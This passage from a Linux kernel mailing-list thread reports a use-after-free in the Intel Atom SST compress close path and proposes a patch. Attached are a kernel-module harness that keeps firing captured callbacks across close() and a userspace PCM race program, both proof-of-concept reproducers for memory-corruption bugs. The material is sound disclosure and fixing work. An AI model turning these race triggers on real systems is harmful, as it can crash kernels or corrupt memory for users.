static int st_pause_release(struct device *dev, int str_id) { return 0; }
static int st_tstamp(struct device *dev, struct pcm_stream_info *si) { return 0; }
static int st_bytes(struct device *dev, struct snd_sst_bytes_v2 *b) { return -EINVAL; }
static int st_close(struct device *dev, unsigned int str_id)
{
atomic_inc(&pcm_close_cnt);
pr_info("dsp.close: str_id=%u (close_win=%dms); real sst_media_close "
"kfree(stream) happens right after this returns\n",
str_id, close_win_ms);
if (close_win_ms > 0)
msleep(close_win_ms);
return 0;
}
static int st_power(struct device *dev, bool on) { return 0; }
static struct sst_ops fake_ops = {
.open = st_open,
.stream_init = st_stream_init,
.stream_start = st_start,
.stream_drop = st_drop,
.stream_pause = st_pause,
.stream_pause_release = st_pause_release,
.stream_read_tstamp = st_tstamp,
.send_byte_stream = st_bytes,
.close = st_close,
.power = st_power,
};
/* fake DSP compress ops (real sst_platform_compr_* are the audited
* side; these only capture what the DSP slot would hold) */
static int cst_open(struct device *dev, struct snd_sst_params *sp,
struct sst_compress_cb *cb)
{
cst_param = cb->param;
cst_compr_cb = cb->compr_cb;
cst_drain_param = cb->drain_cb_param;
cst_drain_notify = cb->drain_notify;
atomic_set(&compr_captured, 1);
atomic_set(&uaf_window, 0);
pr_info("compr.open: captured compr_cb=%px drain_notify=%px cstream=%px\n",
cst_compr_cb, cst_drain_notify, cst_param);
return 1;
}
static int cst_close(struct device *dev, unsigned int str_id)
{
atomic_inc(&compr_close_cnt);
pr_info("compr.close: str_id=%u (defect shape: drain_notify stays "
"armed in the slot; real kfree(data) follows)\n", str_id);
if (close_win_ms > 0)
msleep(close_win_ms);
return 0;
}
static int cst_start(struct device *dev, unsigned int str_id) { return 0; }
static int cst_drop(struct device *dev, unsigned int str_id) { return 0; }
static int cst_drain(struct device *dev, unsigned int str_id) { return 0; }
static int cst_pdrain(struct device *dev, unsigned int str_id) { return 0; }
static int cst_pause(struct device *dev, unsigned int str_id) { return 0; }
static int cst_prelease(struct device *dev, unsigned int str_id) { return 0; }
static int cst_tstamp(struct device *dev, unsigned int str_id,
struct snd_compr_tstamp64 *t) { return 0; }
static int cst_ack(struct device *dev, unsigned int str_id, unsigned long b)
{
return 0;
}
static int cst_caps(struct snd_compr_caps *c)
{
c->num_codecs = 1;
c->codecs[0] = SND_AUDIOCODEC_MP3;
return 0;
}
static int cst_ccaps(struct snd_compr_codec_caps *cc) { return 0; }
static int cst_meta(struct device *dev, unsigned int str_id,
struct snd_compr_metadata *m) { return 0; }
static int cst_power(struct device *dev, bool on) { return 0; }
static struct compress_sst_ops fake_compr = {
.name = "fakedsp-compr",
.open = cst_open,
.stream_start = cst_start,
.stream_drop = cst_drop,
.stream_drain = cst_drain,
.stream_partial_drain = cst_pdrain,
.stream_pause = cst_pause,
.stream_pause_release = cst_prelease,
.tstamp = cst_tstamp,
.ack = cst_ack,
.close = cst_close,
.get_caps = cst_caps,
.get_codec_caps = cst_ccaps,
.set_metadata = cst_meta,
.power = cst_power,
};
static struct sst_device fake_dev = {
.name = "fakedsp",
.ops = &fake_ops,
.compr_ops = &fake_compr,
/* .dev filled in init() with the real platform device's dev so
* sst_register_dsp()'s try_module_get(dev->driver->owner) pins
* our module */
};
/* ------------------------------------------------------------------ */
/* DSP-simulation kthread: plays the role of the DSP periodic IPC */
static int st_hammer_thread(void *data)
{
pr_info("hammer thread started (tick=%dms)\n", hammer_ticks);
while (!kthread_should_stop()) {
/* PCM side: real sst_period_elapsed(substream) -
* UAF once sst_media_close kfrees stream and
* snd_pcm_detach_substream kfrees runtime */
if (atomic_read(&pcm_captured) && pcm_period_elapsed) {
pcm_period_elapsed(pcm_arg);
atomic_inc(&hammer_cnt);
}
/* compress side: alternate the two REAL callbacks the DSP
* slot would fire; drain_notify is never cleared by
* sst_cdev_close (defect) so it keeps hitting freed
* cstream after close */
if (atomic_read(&compr_captured)) {
if (cst_drain_notify)
cst_drain_notify(cst_drain_param);
else if (cst_compr_cb)
cst_compr_cb(cst_param);
atomic_inc(&hammer_cnt);
}
msleep_interruptible(hammer_ticks);
}
return 0;
}
/* ------------------------------------------------------------------ */
/* ASoC card */
static struct snd_soc_dai_link_component st_cpus[2];
static struct snd_soc_dai_link_component st_codecs[2];
static struct snd_soc_dai_link st_links[2] = {
{
.name = "sst-pcm-link",
.stream_name = "SST PCM",
.cpus = &st_cpus[0],
.num_cpus = 1,
.codecs = &st_codecs[0],
.num_codecs = 1,
.nonatomic = true,
},
{
.name = "sst-compr-link",
.stream_name = "SST Compress",
.cpus = &st_cpus[1],
.num_cpus = 1,
.codecs = &st_codecs[1],
.num_codecs = 1,
.nonatomic = true,
},
};
static struct snd_soc_card st_soc_card = {
.name = "sstrace",
.owner = THIS_MODULE,
.dai_link = st_links,
.num_links = 2,
.fully_routed = true,
};
/* ------------------------------------------------------------------ */
/* action interface */
static char action_cmd[64];
static void action_workfn(struct work_struct *w)
{
char cmd[64];
strscpy(cmd, strstrip(action_cmd), sizeof(cmd));
pr_info("action='%s'\n", cmd);
if (!strncmp(cmd, "status", 6)) {
pr_info("status: pcm_captured=%d pcm_close=%d compr_captured=%d "
"compr_close=%d hammer=%d uaf_window=%d\n",
atomic_read(&pcm_captured),
atomic_read(&pcm_close_cnt),
atomic_read(&compr_captured),
atomic_read(&compr_close_cnt),
atomic_read(&hammer_cnt),
atomic_read(&uaf_window));
} else if (!strncmp(cmd, "stop", 4)) {
if (hammer_ts)
kthread_stop(hammer_ts);
hammer_ts = NULL;
pr_info("hammer stopped\n");
} else {
pr_info("unknown action '%s'\n", cmd);
}
}
static DECLARE_WORK(action_work, action_workfn);
static int action_set(const char *val, const struct kernel_param *kp)
{
int ret = param_set_copystring(val, kp);
if (ret == 0)
schedule_work(&action_work);
return ret;
}
static const struct kernel_param_ops action_ops = {
.set = action_set,
.get = param_get_string,
};
static struct kparam_string action_param = {
.maxlen = sizeof(action_cmd),
.string = action_cmd,
};
module_param_cb(action, &action_ops, &action_param, 0200);
MODULE_PARM_DESC(action, "status | stop");
/* ------------------------------------------------------------------ */
/* module init/exit */
static int __init sstrace_init(void)
{
int ret;
/* 1) real platform driver probe (registers real component + DAIs) */
st_pdev_sst = platform_device_register_simple("sst-mfld-platform",
-1, NULL, 0);
if (IS_ERR(st_pdev_sst)) {
ret = PTR_ERR(st_pdev_sst);
pr_err("register sst-mfld-platform failed %d\n", ret);
return ret;
}
if (!st_pdev_sst->dev.driver) {
pr_err("sst-mfld-platform driver did not bind (CONFIG_SND_SST_ATOM_HIFI2_PLATFORM?)\n");
ret = -ENODEV;
goto err_sst;
}
/* 2) card platform device with dma_mask armed (real managed buffer
* allocation in sst_soc_pcm_new needs it) */
st_pdev_card = platform_device_register_simple("sstrace-card", -1,
NULL, 0);
if (IS_ERR(st_pdev_card)) {
ret = PTR_ERR(st_pdev_card);
goto err_sst;
}
st_pdev_card->dev.dma_mask = &st_pdev_card->dev.coherent_dma_mask;
st_pdev_card->dev.coherent_dma_mask = DMA_BIT_MASK(32);
/* 3) register the fake DSP (exported sst_register_dsp) */
fake_dev.dev = &st_pdev_sst->dev;
ret = sst_register_dsp(&fake_dev);
if (ret < 0) {
pr_err("sst_register_dsp failed %d\n", ret);
goto err_card_pdev;
}
/* 4) ASoC card with real DAIs + dummy codec */
st_cpus[0].dai_name = "media-cpu-dai";
st_codecs[0].name = "snd-soc-dummy";
st_codecs[0].dai_name = "snd-soc-dummy-dai";
st_cpus[1].dai_name = "compress-cpu-dai";
st_codecs[1].name = "snd-soc-dummy";
st_codecs[1].dai_name = "snd-soc-dummy-dai";
st_soc_card.dev = &st_pdev_card->dev;
ret = snd_soc_register_card(&st_soc_card);
if (ret < 0) {
pr_err("snd_soc_register_card failed %d\n", ret);
goto err_dsp;
}
/* 5) DSP-simulation hammer thread */
hammer_ts = kthread_run(st_hammer_thread, NULL, "sstrace_hammer");
if (IS_ERR(hammer_ts)) {
hammer_ts = NULL;
ret = PTR_ERR(hammer_ts);
goto err_soc;
}
pr_info("ready: card registered; check /dev/snd/ for pcmC*D0p and "
"comprC*D1; hammer userspace close against the running "
"hammer thread\n");
return 0;
err_soc:
snd_soc_unregister_card(&st_soc_card);
err_dsp:
sst_unregister_dsp(&fake_dev);
err_card_pdev:
platform_device_unregister(st_pdev_card);
err_sst:
platform_device_unregister(st_pdev_sst);
return ret;
}
static void __exit sstrace_exit(void)
{
if (hammer_ts)
kthread_stop(hammer_ts);
snd_soc_unregister_card(&st_soc_card);
sst_unregister_dsp(&fake_dev);
platform_device_unregister(st_pdev_card);
platform_device_unregister(st_pdev_sst);
}
module_init(sstrace_init);
module_exit(sstrace_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("SOC-MR-01/02 verification harness: fake DSP + real sst-mfld-platform close/race");
[-- Attachment #3: awe_test.c --]
[-- Type: text/plain, Size: 7831 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* awe_test - userspace PCM hammer for SOC-MR-05/07 verification.
*
* modes:
* cycle <n> [sleep_ms] : n times { open pcmC*D1p -> hw_params ->
* prepare -> START -> sleep -> close }
* MR-07: close() path snd_pcm_drop -> trigger
* STOP -> stop_voice()'s non-sync
* timer_delete() races the in-flight softirq
* emu8k_pcm_timer_func() while
* emu8k_pcm_close() kfrees rec.
* hold <seconds> : one open->params->prepare->START, keep
* HWSYNC/DELAY queries in a loop (fd stays
* alive across modprobe -r snd-emu8000-synth)
* then close - MR-05: snd_emu8000_remove ->
* snd_device_free(hw->pcm) races the in-flight
* fd operations and the final release.
* idle <seconds> : open then sleep (fd held, no PCM activity).
* still : 200x open/close, never hw_params/START
* (timer never armed) - MR-07 negative control.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <time.h>
#include <sound/asound.h> /* system uapi header, verified identical to linux-7.3 */
static const char *dev_pcm = "/dev/snd/pcmC1D1p";
static const char *dev;
static int msleep(int ms)
{
struct timespec ts = { .tv_sec = ms / 1000,
.tv_nsec = (long)(ms % 1000) * 1000000L };
return nanosleep(&ts, NULL);
}
static int do_open(void)
{
int fd = open(dev, O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open %s failed: %s\n", dev, strerror(errno));
return -1;
}
return fd;
}
/* fill "any" masks then fix rate/channels/buffer/period */
static int setup_params(int fd)
{
struct snd_pcm_hw_params *p;
unsigned int i, rate = 8000, ch = 1, psize = 1024;
char *e;
if ((e = getenv("PCM_RATE")))
rate = (unsigned)atoi(e);
if ((e = getenv("PCM_CHANS")))
ch = (unsigned)atoi(e);
if ((e = getenv("PCM_PSIZE")))
psize = (unsigned)atoi(e);
p = calloc(1, sizeof(*p));
if (!p)
return -1;
/* masks: ACCESS=RW_INTERLEAVED, FORMAT=S16_LE, SUBFORMAT=STD */
for (i = 0; i < SNDRV_PCM_HW_PARAM_LAST_MASK - SNDRV_PCM_HW_PARAM_FIRST_MASK + 1; i++)
memset(&p->masks[i].bits[0], 0xff, sizeof(p->masks[i].bits));
p->masks[SNDRV_PCM_HW_PARAM_ACCESS].bits[0] &=
1U << SNDRV_PCM_ACCESS_RW_INTERLEAVED;
p->masks[SNDRV_PCM_HW_PARAM_FORMAT].bits[0] &=
1U << SNDRV_PCM_FORMAT_S16_LE;
p->masks[SNDRV_PCM_HW_PARAM_SUBFORMAT].bits[0] &=
1U << SNDRV_PCM_SUBFORMAT_STD;
/* intervals: allow wide ranges, REFINE will pick */
for (i = SNDRV_PCM_HW_PARAM_FIRST_INTERVAL;
i <= SNDRV_PCM_HW_PARAM_LAST_INTERVAL; i++) {
p->intervals[i - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = 0;
p->intervals[i - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = ~0U;
}
p->rmask = ~0U;
p->cmask = 0;
p->info = ~0U;
if (ioctl(fd, SNDRV_PCM_IOCTL_HW_REFINE, p) < 0) {
perror("HW_REFINE");
free(p);
return -1;
}
/* nail rate/channels/period for a stable config */
p->intervals[SNDRV_PCM_HW_PARAM_RATE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = rate;
p->intervals[SNDRV_PCM_HW_PARAM_RATE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = rate;
p->intervals[SNDRV_PCM_HW_PARAM_CHANNELS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = ch;
p->intervals[SNDRV_PCM_HW_PARAM_CHANNELS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = ch;
p->intervals[SNDRV_PCM_HW_PARAM_PERIOD_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = psize;
p->intervals[SNDRV_PCM_HW_PARAM_PERIOD_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = psize;
/* emu8k hw_params allocates a memhdr block of buffer_bytes+32 out of
* the 512K fake DRAM; an unbounded REFINE picks the 512K-24 maximum
* and overflows it -> -ENOMEM. Keep the buffer small. */
p->intervals[SNDRV_PCM_HW_PARAM_BUFFER_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min = 4096;
p->intervals[SNDRV_PCM_HW_PARAM_BUFFER_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].max = 16384;
p->rmask = (1U << (SNDRV_PCM_HW_PARAM_RATE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL)) |
(1U << (SNDRV_PCM_HW_PARAM_CHANNELS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL)) |
(1U << (SNDRV_PCM_HW_PARAM_PERIOD_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL)) |
(1U << (SNDRV_PCM_HW_PARAM_BUFFER_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL));
if (ioctl(fd, SNDRV_PCM_IOCTL_HW_REFINE, p) < 0) {
perror("HW_REFINE(fixed)");
free(p);
return -1;
}
if (ioctl(fd, SNDRV_PCM_IOCTL_HW_PARAMS, p) < 0) {
perror("HW_PARAMS");
free(p);
return -1;
}
free(p);
/* stop_threshold >= boundary makes snd_pcm_playback_data() always
* report data present, so SNDRV_PCM_IOCTL_START succeeds on an
* empty buffer (start_voice() arms the rec->timer - the race
* counterpart we need alive). */
{
struct snd_pcm_sw_params *s = calloc(1, sizeof(*s));
if (s) {
s->avail_min = 1024;
s->start_threshold = 1024;
s->stop_threshold = 0x7fffffffU;
if (ioctl(fd, SNDRV_PCM_IOCTL_SW_PARAMS, s) < 0)
perror("SW_PARAMS");
free(s);
}
}
if (ioctl(fd, SNDRV_PCM_IOCTL_PREPARE) < 0) {
perror("PREPARE");
return -1;
}
if (ioctl(fd, SNDRV_PCM_IOCTL_START) < 0) {
perror("START");
return -1;
}
return 0;
}
static int cycle(int n, int sleep_ms)
{
int i, fd;
for (i = 0; i < n; i++) {
fd = do_open();
if (fd < 0)
return 1;
if (setup_params(fd) == 0)
msleep(sleep_ms); /* RUNNING: timer re-armed
* every jiffie */
close(fd); /* drop -> trigger STOP -> timer_delete
* (non-sync) -> hw_free -> close kfree(rec) */
if ((i % 25) == 0)
printf("cycle %d/%d done\n", i + 1, n);
}
printf("cycle: %d rounds done\n", n);
return 0;
}
static int hold(int seconds)
{
int fd, k;
snd_pcm_sframes_t delay = 0;
fd = do_open();
if (fd < 0)
return 1;
if (setup_params(fd))
return 1;
printf("hold: RUNNING on fd=%d, querying for %ds (keep fd alive across rmmod)\n",
fd, seconds);
for (k = 0; k < seconds * 100; k++) {
if (ioctl(fd, SNDRV_PCM_IOCTL_HWSYNC) < 0)
break;
ioctl(fd, SNDRV_PCM_IOCTL_DELAY, &delay);
msleep(10);
}
printf("hold: closing fd after %d queries (release vs device free)\n", k);
close(fd);
printf("hold: done\n");
return 0;
}
static int idle(int seconds)
{
int fd = do_open();
if (fd < 0)
return 1;
printf("idle: fd=%d sleeping %ds\n", fd, seconds);
sleep(seconds);
close(fd);
printf("idle: done\n");
return 0;
}
static int still(void)
{
int i, fd;
for (i = 0; i < 200; i++) {
fd = do_open();
if (fd < 0)
return 1;
close(fd); /* state stays OPEN -> drop returns
* -EBADFD, no trigger, timer never armed */
}
printf("still: 200 open/close done (timer never armed)\n");
return 0;
}
int main(int argc, char **argv)
{
dev = getenv("PCMDEV");
if (!dev)
dev = dev_pcm;
if (argc >= 3 && !strcmp(argv[1], "cycle"))
return cycle(atoi(argv[2]), argc >= 4 ? atoi(argv[3]) : 150);
if (argc >= 3 && !strcmp(argv[1], "arm")) {
int fd, s = atoi(argv[2]);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("arm: stepping: open\n");
fd = do_open();
if (fd < 0)
return 1;
printf("arm: stepping: hw_params\n");
if (setup_params(fd))
return 1;
printf("arm: RUNNING fd=%d, will close after %ds\n", fd, s);
sleep(s);
close(fd);
printf("arm: closed\n");
return 0;
}
if (argc >= 3 && !strcmp(argv[1], "hold"))
return hold(atoi(argv[2]));
if (argc >= 3 && !strcmp(argv[1], "idle"))
return idle(atoi(argv[2]));
if (argc >= 2 && !strcmp(argv[1], "still"))
return still();
fprintf(stderr,
"usage: %s cycle <n> [sleep_ms] | hold <sec> | idle <sec> | still\n",
argv[0]);
return 2;
}
^ permalink raw reply [flat|nested] 101+ messages in thread* ASoC: intel: atom: SST: clear the compress drain callbacks on close and gate them on the stream status (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (26 preceding siblings ...)
2026-12-01 12:15 ` 徐晗翔
@ 2026-12-01 12:19 ` 徐晗翔
2026-12-01 12:22 ` ASoC: intel: atom: SST: log the byte-stream message header before handing it to the dispatch queue (UAF) 徐晗翔
` (13 subsequent siblings)
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:19 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 6686 bytes --]
sst_cdev_close() clears only the compr_cb/compr_cb_param pair of the
DSP stream slot; the drain_notify/drain_cb_param pair registered by
sst_cdev_open() (sst_drv_interface.c:190-193) is never cleared, and
neither is the slot's pipe_id. process_fw_async_msg() handles
IPC_IA_DRAIN_STREAM_MRFLD with no status gate at all (sst_ipc.c:281-289
-- unlike the PERIOD_ELAPSED branch, which at least checks
STREAM_INIT), so any drain completion that arrives after the close
path's three-stage release (sst_platform_compr_free() kfree(stream),
snd_compr_free() kfree(runtime), kfree(data) -- compress_offload.c) is
dispatched as sst_drain_notify(cstream) ->
snd_compr_drain_notify(cstream), which reads the freed
cstream->partial_drain, WRITES the freed cstream->runtime->state and
calls wake_up() on the freed runtime->sleep. The stale pipe_id makes
get_stream_id_mrfld() keep matching the freed slot until it is reused.
Nothing synchronizes the DSP threaded IRQ on this path either:
snd_compr_free()'s trigger(STOP) goes through sst_drop_stream(), which
does not drain the IRQ, and the suspend paths' synchronize_irq() is
again absent here.
This is not an exotic sequence: SST implements non-blocking drain
(sst_drain_stream() posts IPC_IA_DRAIN_STREAM_MRFLD and returns
immediately, relying on the completion callback), so "drain, then
close while the firmware is still draining" is a routine user
sequence, and an interrupted DRAIN wait (wait_event_interruptible in
snd_compress_wait_for_drain) leaves the firmware drain running with the
fd about to be closed.
Verified on mainline 7.3 with a KASAN kernel, QEMU/KVM x86_64 guest and
the same harness family as my SST PCM report (real "sst-mfld-platform"
driver probed via a plain platform_device, real ASoC compress card via
the real compress-cpu-dai, a record-and-delay DSP registered through
the exported sst_register_dsp(), and a harness thread re-invoking the
captured REAL sst_drain_notify(cstream) across the userspace
close()): 101 slab-use-after-free reports -- 49 inside
sst_drain_notify (+0x19/+0x27/+0x38) itself, the rest in the
wake_up()/lock family reached from snd_compr_drain_notify() -- with
Freed = kfree <- snd_compr_free <- __fput, i.e. the user close path.
The negative control (callbacks never armed) is completely clean. Any
Baytrail/Cherrytrail-class system with the SST firmware and a compress
user ( PulseAudio/pw offload, aplay -D compress) can hit this; no
privileges beyond owning the fd.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #1 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 tree, unmodified sources, KASAN enabled,
QEMU/KVM x86_64 guest, CONFIG_SND_SOC=y with
CONFIG_SND_SST_ATOM_HIFI2_PLATFORM=m and
CONFIG_SND_COMPRESS_OFFLOAD=m. The audited files are byte-identical
between the tested tree and the report baseline; line numbers below
are from 7.3.
* Mechanism
- sst_cdev_open() (sst_drv_interface.c:190-193) registers four
callbacks into the persistent ctx->streams[] slot;
- sst_cdev_close() (sst_drv_interface.c:214-216) clears only two of
them;
- sst_clean_stream() (sst_pvt.c:178-185) resets status/prev/
cumm_bytes but never touches the callbacks or pipe_id;
- process_fw_async_msg() (sst_ipc.c:281-289) dispatches
IPC_IA_DRAIN_STREAM_MRFLD purely on "pipe_id matches,
drain_notify != NULL" with no status check, unlike the
PERIOD_ELAPSED branch at sst_ipc.c:272;
- snd_compr_free() (compress_offload.c:145-170) then frees
stream/runtime/data with no IRQ synchronization.
After close, every late drain completion for the stale pipe_id hits
the freed cstream: snd_compr_drain_notify() (include/sound/
compress_driver.h) reads stream->partial_drain, writes
stream->runtime->state and stream->partial_drain, and
wake_up()s stream->runtime->sleep.
* Trigger model
Open the compress device, set_params (arms both callbacks), START,
then either (a) DRAIN + close while the firmware drain is still
running (a signal-interrupted DRAIN wait makes this deterministic),
or (b) plain close of a historically-drained stream -- the armed
drain_notify survives until the slot is reused. Consequence:
slab use-after-free reads/writes on cstream/runtime (SLUB freelist
and adjacent-object corruption reachable), kernel oops.
* Reproducer and results on 7.3 (also reproduced on 7.4-rc5)
Same harness family as the PCM report: real driver, real ASoC
compress card, fake DSP capturing the REAL sst_drain_notify/cstream
pair, harness thread firing the captured REAL callback across the
userspace close(). sstcompr_test drives open->SET_PARAMS(mp3)->
START->sleep->close cycles.
# build
make -C <kernel-build-dir> M=$PWD modules
# guest (root):
insmod snd-soc-sst-atom-hifi2-platform.ko
insmod sstrace.ko
./sstcompr_test cycle 200 100
Results: 101 slab-use-after-free reports (49 in
sst_drain_notify itself, the remainder in the lock/wake_up family
reached from snd_compr_drain_notify), Freed = kfree <-
snd_compr_free <- __fput. Negative control (200 open/close rounds
without SET_PARAMS, callbacks never armed): 0 reports.
* Fix (full patch below)
1. sst_cdev_close(): clear all four callbacks plus pipe_id, and
synchronize_irq(ctx->irq_num) before returning, so in-flight
completions are drained before the caller frees cstream.
2. process_fw_async_msg(): gate the DRAIN branch on
STREAM_RUNNING, matching (and tightening) the PERIOD_ELAPSED
branch.
The patch is written against 7.3 and reviewed by inspection (the
dynamic harness above ran against the unpatched kernel). Happy to
test any counter-proposal.
* Patch
--- a/sound/soc/intel/atom/sst/sst_drv_interface.c
+++ b/sound/soc/intel/atom/sst/sst_drv_interface.c
@@ -214,6 +214,13 @@
retval = sst_free_stream(ctx, str_id);
stream->compr_cb_param = NULL;
stream->compr_cb = NULL;
+ stream->drain_cb_param = NULL;
+ stream->drain_notify = NULL;
+ stream->pipe_id = PIPE_RSVD;
+ /* drain in-flight completions before the caller frees cstream */
+ synchronize_irq(ctx->irq_num);
if (retval)
dev_err(dev, "free stream returned err %d\n", retval);
--- a/sound/soc/intel/atom/sst/sst_ipc.c
+++ b/sound/soc/intel/atom/sst/sst_ipc.c
@@ -283,6 +283,11 @@
str_id = get_stream_id_mrfld(sst_drv_ctx, pipe_id);
if (str_id > 0) {
stream = &sst_drv_ctx->streams[str_id];
+ if (stream->status != STREAM_RUNNING)
+ break;
if (stream->drain_notify)
stream->drain_notify(stream->drain_cb_param);
}
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: sstrace.c --]
[-- Type: text/plain, Size: 14917 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* sstrace.c - dynamic verification harness for SOC-MR-01 / SOC-MR-02
* (docs/manual-review-sound-soc-2026-11-26.md).
*
* SOC-MR-01: the SST PCM close path (sst_media_close ->
* sst_close_pcm_stream -> kfree(stream), then
* snd_pcm_detach_substream -> kfree(runtime)) never
* synchronizes the DSP threaded IRQ; the IRQ-side
* sst_period_elapsed() keeps dereferencing
* runtime->private_data and spin_lock()'ing
* stream->status_lock on freed memory.
* SOC-MR-02: sst_cdev_close() never clears drain_notify /
* drain_cb_param / pipe_id, and nothing syncs the IRQ,
* so sst_drain_notify(cstream) -> snd_compr_drain_notify()
* writes cstream->runtime->state after kfree(data).
*
* Fidelity model (same methodology as mcrsim/synthrace/nmi_race):
* - the REAL platform driver "sst-mfld-platform" is probed via a
* plain platform_device (its probe registers the real component +
* DAIs, real dpcm_strm_map, real sst_media_open/close/prepare/
* trigger code, real sst_period_elapsed, real
* sst_platform_compr_* code);
* - the DSP side (snd-intel-sst-core) does not exist in QEMU, so the
* harness registers a FAKE sst_device via the EXPORTED
* sst_register_dsp() whose ops record-and-delay: stream_init
* captures the REAL sst_period_elapsed pointer and the REAL
* substream arg exactly as the DSP slot would; a harness kthread
* plays the role of the DSP periodic IPC (5ms tick) and keeps
* invoking the captured REAL callbacks across close()/free().
* - the UAF sites are 100% in-tree code: sst_period_elapsed,
* sst_get_stream_status (status_lock), snd_pcm_period_elapsed,
* sst_media_close kfree, snd_pcm_detach_substream kfree(runtime),
* sst_drain_notify -> snd_compr_drain_notify.
*
* ASoC card: real snd_soc_register_card() with the REAL "media-cpu-dai"
* (PCM link) and "compress-cpu-dai" (compress link, real
* snd_soc_new_compress) against snd-soc-dummy. dma_mask is armed on the
* card platform device so the real managed-buffer allocation in
* sst_soc_pcm_new succeeds.
*
* Plans via module params:
* close_win_ms - extra delay inside the fake close op (controlled
* window; 0 = natural hammering only)
* hammer_ticks - harness kthread tick in ms (5 default)
* Actions (echo ... > /sys/module/sstrace/parameters/action):
* status - counters
* stop - stop the hammering thread
* Userspace: awe_test with PCMDEV=/dev/snd/pcmC?D0p cycles, or
* sstcompr_test for the compress device.
*/
#define pr_fmt(fmt) "SSTRACE: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/platform_device.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/dma-mapping.h>
#include <linux/atomic.h>
#include <sound/core.h>
#include <sound/soc.h>
#include <sound/compress_driver.h>
#include "sst-mfld-platform.h"
/* ------------------------------------------------------------------ */
/* tunables */
static int close_win_ms;
module_param(close_win_ms, int, 0600);
MODULE_PARM_DESC(close_win_ms, "delay inside the fake close op (controlled window)");
static int hammer_ticks = 5;
module_param(hammer_ticks, int, 0600);
MODULE_PARM_DESC(hammer_ticks, "DSP-simulation kthread tick (ms)");
/* ------------------------------------------------------------------ */
/* capture state */
static atomic_t pcm_captured = ATOMIC_INIT(0);
static void *pcm_arg;
static void (*pcm_period_elapsed)(void *arg);
static atomic_t pcm_close_cnt = ATOMIC_INIT(0);
static atomic_t hammer_cnt = ATOMIC_INIT(0);
static atomic_t uaf_window = ATOMIC_INIT(0); /* set once close returned */
static atomic_t compr_captured = ATOMIC_INIT(0);
static void *cst_param;
static void (*cst_compr_cb)(void *param);
static void *cst_drain_param;
static void (*cst_drain_notify)(void *param);
static atomic_t compr_close_cnt = ATOMIC_INIT(0);
static struct task_struct *hammer_ts;
static struct platform_device *st_pdev_sst;
static struct platform_device *st_pdev_card;
/* ------------------------------------------------------------------ */
/* fake DSP (snd-intel-sst-core does not exist in QEMU) */
static int st_open(struct device *dev, struct snd_sst_params *sp)
{
pr_info("dsp.open: stream_type=%d id=%d -> str_id 1\n",
sp->stream_type, sp->stream_id);
return 1;
}
static int st_stream_init(struct device *dev, struct pcm_stream_info *si)
{
/* capture the REAL platform callback + REAL substream arg,
* exactly as the DSP slot would (sst_stream_init writes
* stream->pcm_substream = str_info->arg and
* stream->period_elapsed = str_info->period_elapsed) */
pcm_arg = si->arg;
pcm_period_elapsed = si->period_elapsed;
atomic_set(&pcm_captured, 1);
atomic_set(&uaf_window, 0);
pr_info("dsp.stream_init: captured period_elapsed=%px arg=%px "
"(real sst_period_elapsed will be hammered across close)\n",
pcm_period_elapsed, pcm_arg);
return 0;
}
static int st_start(struct device *dev, int str_id) { return 0; }
static int st_drop(struct device *dev, int str_id) { return 0; }
static int st_pause(struct device *dev, int str_id) { return 0; }
static int st_pause_release(struct device *dev, int str_id) { return 0; }
static int st_tstamp(struct device *dev, struct pcm_stream_info *si) { return 0; }
static int st_bytes(struct device *dev, struct snd_sst_bytes_v2 *b) { return -EINVAL; }
static int st_close(struct device *dev, unsigned int str_id)
{
atomic_inc(&pcm_close_cnt);
pr_info("dsp.close: str_id=%u (close_win=%dms); real sst_media_close "
"kfree(stream) happens right after this returns\n",
str_id, close_win_ms);
if (close_win_ms > 0)
msleep(close_win_ms);
return 0;
}
static int st_power(struct device *dev, bool on) { return 0; }
static struct sst_ops fake_ops = {
.open = st_open,
.stream_init = st_stream_init,
.stream_start = st_start,
.stream_drop = st_drop,
.stream_pause = st_pause,
.stream_pause_release = st_pause_release,
.stream_read_tstamp = st_tstamp,
.send_byte_stream = st_bytes,
.close = st_close,
.power = st_power,
};
/* fake DSP compress ops (real sst_platform_compr_* are the audited
* side; these only capture what the DSP slot would hold) */
static int cst_open(struct device *dev, struct snd_sst_params *sp,
struct sst_compress_cb *cb)
{
cst_param = cb->param;
cst_compr_cb = cb->compr_cb;
cst_drain_param = cb->drain_cb_param;
cst_drain_notify = cb->drain_notify;
atomic_set(&compr_captured, 1);
atomic_set(&uaf_window, 0);
pr_info("compr.open: captured compr_cb=%px drain_notify=%px cstream=%px\n",
cst_compr_cb, cst_drain_notify, cst_param);
return 1;
}
